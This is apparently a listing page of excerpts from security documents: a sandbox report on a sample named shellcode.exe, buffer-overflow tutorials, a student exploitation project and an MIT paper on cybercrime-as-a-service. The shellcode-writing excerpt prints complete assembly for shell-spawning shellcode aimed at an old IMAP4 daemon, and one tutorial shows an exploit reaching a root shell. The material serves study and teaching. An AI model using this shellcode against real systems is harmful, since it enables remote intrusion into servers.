Spy-Sense: Spyware Tool for Executing Stealthy Exploits Against Sensor Networks
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Automated Malware Analysis Report for Shellcode.Exe
ID: 205432 Sample Name: shellcode.exe Cookbook: default.jbs Time: 00:40:30 Date: 04/02/2020 Version: 28.0.0 Lapis Lazuli Table of Contents Table of Contents 2 Analysis Report shellcode.exe 3 Overview 3 General Information 3 Detection 3 Confidence 3 Classification 4 Analysis Advice 4 Mitre Att&ck Matrix 5 Signature Overview 5 AV Detection: 5 System Summary: 5 Data Obfuscation: 5 Malware Configuration 5 Behavior Graph 5 Simulations 6 Behavior and APIs 6 Antivirus, Machine Learning and Genetic Malware Detection 6 Initial Sample 6 Dropped Files 6 Unpacked PE Files 6 Domains 6 URLs 6 Yara Overview 7 Initial Sample 7 PCAP (Network Traffic) 7 Dropped Files 7 Memory Dumps 7 Unpacked PEs 7 Sigma Overview 7 Joe Sandbox View / Context 7 IPs 7 Domains 7 ASN 7 JA3 Fingerprints 7 Dropped Files 7 Created / dropped Files 8 Domains and IPs 8 Contacted Domains 8 Contacted IPs 8 Static File Info 8 General 8 File Icon 8 Static PE Info 8 General 8 Entrypoint Preview 9 Data Directories 10 Sections 10 Imports 11 Network Behavior 11 Code Manipulations 11 Statistics 11 System Behavior 11 Disassembly 11 Copyright Joe Security LLC 2020 Page 2 of 11 Analysis Report shellcode.exe Overview General Information Joe Sandbox Version: 28.0.0 Lapis Lazuli Analysis ID: 205432 Start date: 04.02.2020 Start time: 00:40:30 Joe Sandbox Product: CloudBasic Overall analysis duration: 0h 2m 15s Hypervisor based Inspection enabled: false Report type: light Sample file name: shellcode.exe Cookbook file name: default.jbs Analysis system description: Windows 10 64 bit (version 1803) -
Smashing the Stack for Fun and Profit
Introduction Since the famous article "Smashing the Stack for fun and profit" by aleph1 there have been countless papers about buffer overflows, why then should there be another one? Because I have read most of them and they lack the specifics of the technique, why everything happens and how to react in case of a change and why you have to react. Most of the papers out there are really notes. I can say that this has been explicitly written as a formal paper. Examples are made and also live examples are done of the different techniques and they all should work, if they don't drop me an email, although they have been tested on Slackware 7.0, 7.1 and RedHat 6.0, 6.2 and 7.0, all examples have been revisited on Slackware 9.0, RedHat 8.0 and Mandrake 9.0, Windows 2000 and Solaris on SPARC architecture. During this chapter we will have some standards, I'll use and example to illustrate them: nahual@fscking$ ./exploit1 [ + ] Example 1 for The Tao of Buffer Overflows [ + ] [ + ] Coded by Enrique A. Sanchez Montellano [ + ] Using address 0xbffff9c0 [ + ] Starting exploitation... bash# id As you can see now we've exploited the program uid=0(root) gid=0(root) bash# So as you can see user input will have this type of font, the computer will have normal and comments will have this type of font. And the Tao was born. Functions like strcpy(), strcat(), gets(), sprintf() and all its derivates can be dangerous if not used with care. Why are they not used with care?, Books and classes are not taught with security in mind, the concept of buffer overflows is a concept that is solely for security consultants and hackers, being the first a ramification of the later as far as a lot of people are concerned, so you need special skills to find them and exploit them. -
Network Security Project Buffer Overflow Exploitation
Network Security Project Buffer Overflow Exploitation Samuele Andreoli Nicol`oFornari Giuseppe Vitto Abstract In computer security a buffer overflow is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations. This is a special case of the violation of memory safety. Buffer overflows can alter the way the program operates. This may result in erratic program be- havior, including memory access errors, incorrect results, crashes or a breach in system security. Thus, they are the basis of many software vulnerabilities and can be maliciously exploited. [1] Buffer overflow is a complex and broad topic which requires a solid background in memory man- agement and code execution to be understood (i.e. registers, jumps, interrupts, stack frames). In this project we try to give a taste of stack-based buffer overflow putting our efforts into achieving a linear and relatively simple explanation of the topic. Report layout In Section 1 we describe all the technical details of our working environment. In Section 2 we recall some theoretical background about pointers, registers, etc. With Section 3 the lab starts: we briefly explain how the memory works by introducing gdb, which will be fundamental for the rest of the exercises 1. In Section 4 we present a first buffer overflow that allows the user to access a function which is not intended to be invoked. This is done by overwriting the value of a function pointer. In Section 5 we exploit a buffer overflow in order to execute a shellcode. The main reference for this part is the ground-breaking article Smashing The Stack For Fun And Profit by Aleph One [2]. -
The Art of Writing Shellcode, by Smiler
The Art of Writing Shellcode, by smiler. ---------------------------------------- Hopefully you are familiar with generic shell-spawning shellcode. If not read Aleph's text "Smashing The Stack For Fun And Profit" before reading further. This article will concentrate on the types of shellcode needed to exploit daemons remotely. Generally it is much harder to exploit remote daemons, because you do not have many ways of finding out the configuration of the remote server. Often the shellcode has to be much more complicated, which is what this article will focus on. I will start by looking at the ancient IMAP4 exploit. This is a fairly simple exploit. All you need to do is "hide" the /bin/sh" string in shellcode (imapd converts all lowercase characters into uppercase). None of the instructions in the generic shell-spawning shellcode contain lower-case characters, so you all you need do is change the /bin/sh string. It is the same as normal shellcode, except there is a loop which adds 0x20 to each byte in the "/bin/sh" string. I put in lots of comments so even beginners can understand it. Sorry to all those asm virtuosos :] -----imap.S------- .globl main main: jmp call start: popl %ebx /* get address of /bin/sh */ movl %ebx,%ecx /* copy the address to ecx */ addb $0x6,%cl /* ecx now points to the last character */ loop: cmpl %ebx,%ecx jl skip /* if (ecx<ebx) goto skip */ addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */ decb %cl /* move the pointer down by one */ jmp loop skip: /* generic shell-spawning code */ movl %ebx,0x8(%ebx) xorl %eax,%eax movb %eax,0x7(%ebx) movl %eax,0xc(%ebx) movb $0xb,%al leal 0x8(%ebx),%ecx leal 0xc(%ebx),%edx int $0x80 xorl %eax,%eax inc %al int $0x80 call: call start .string "\x0f\x42\x49\x4e\x0f\x53\x48" -------------- This was a very simple variation on the generic shellcode and can be useful to mask characters that aren't allowed by the protocol the daemon uses. -
Cybercrime-As-A-Service: Identifying Control Points to Disrupt Keman Huang Michael Siegel Stuart Madnick
Cybercrime-as-a-Service: Identifying Control Points to Disrupt Keman Huang Michael Siegel Stuart Madnick Working Paper CISL# 2017-17 November 2017 Cybersecurity Interdisciplinary Systems Laboratory (CISL) Sloan School of Management, Room E62-422 Massachusetts Institute of Technology Cambridge, MA 02142 Cybercrime-as-a-Service: Identifying Control Points to Disrupt KEMAN HUANG, MICHAEL SIEGEL, and STUART MADNICK, Massachusetts Institute of Technology Cyber attacks are increasingly menacing businesses. Based on literature review and publicly available reports, this paper analyses the growing cybercrime business and some of the reasons for its rapid growth. A value chain model is constructed and used to describe 25 key value-added activities, which can be offered on the Dark Web as a service, i.e., “cybercrime-as-a-service,” for use in a cyber attack. Understanding the specialization, commercialization, and cooperation of these services for cyber attacks helps to anticipate emerging cyber attack services. Finally, this paper identifies cybercrime control-points that could be disrupted and strategies for assigning defense responsibilities to encourage collaboration. CCS Concepts: • General and reference Surveys and overviews; • Social and professional topics Computing and business; Socio-technical systems; Computer crime; • Security and privacy Social aspects of security and privacy; → → → Additional Key Words and Phrases: Cyber Attack Business; Value Chain Model; Cyber-crime-as-a-Service; Hacking Innovation; Control Point; Sharing Responsibility 1 INTRODUCTION “Where there is commerce, there is also the risk for cybercrime”[139]. Cybercrime is a tremendous threat to today’s digital society. It is extimated that the cost of cybercrime will grow from an annual sum of $3 trillion in 2015 to $6 trillion by the year 2021 [115]. -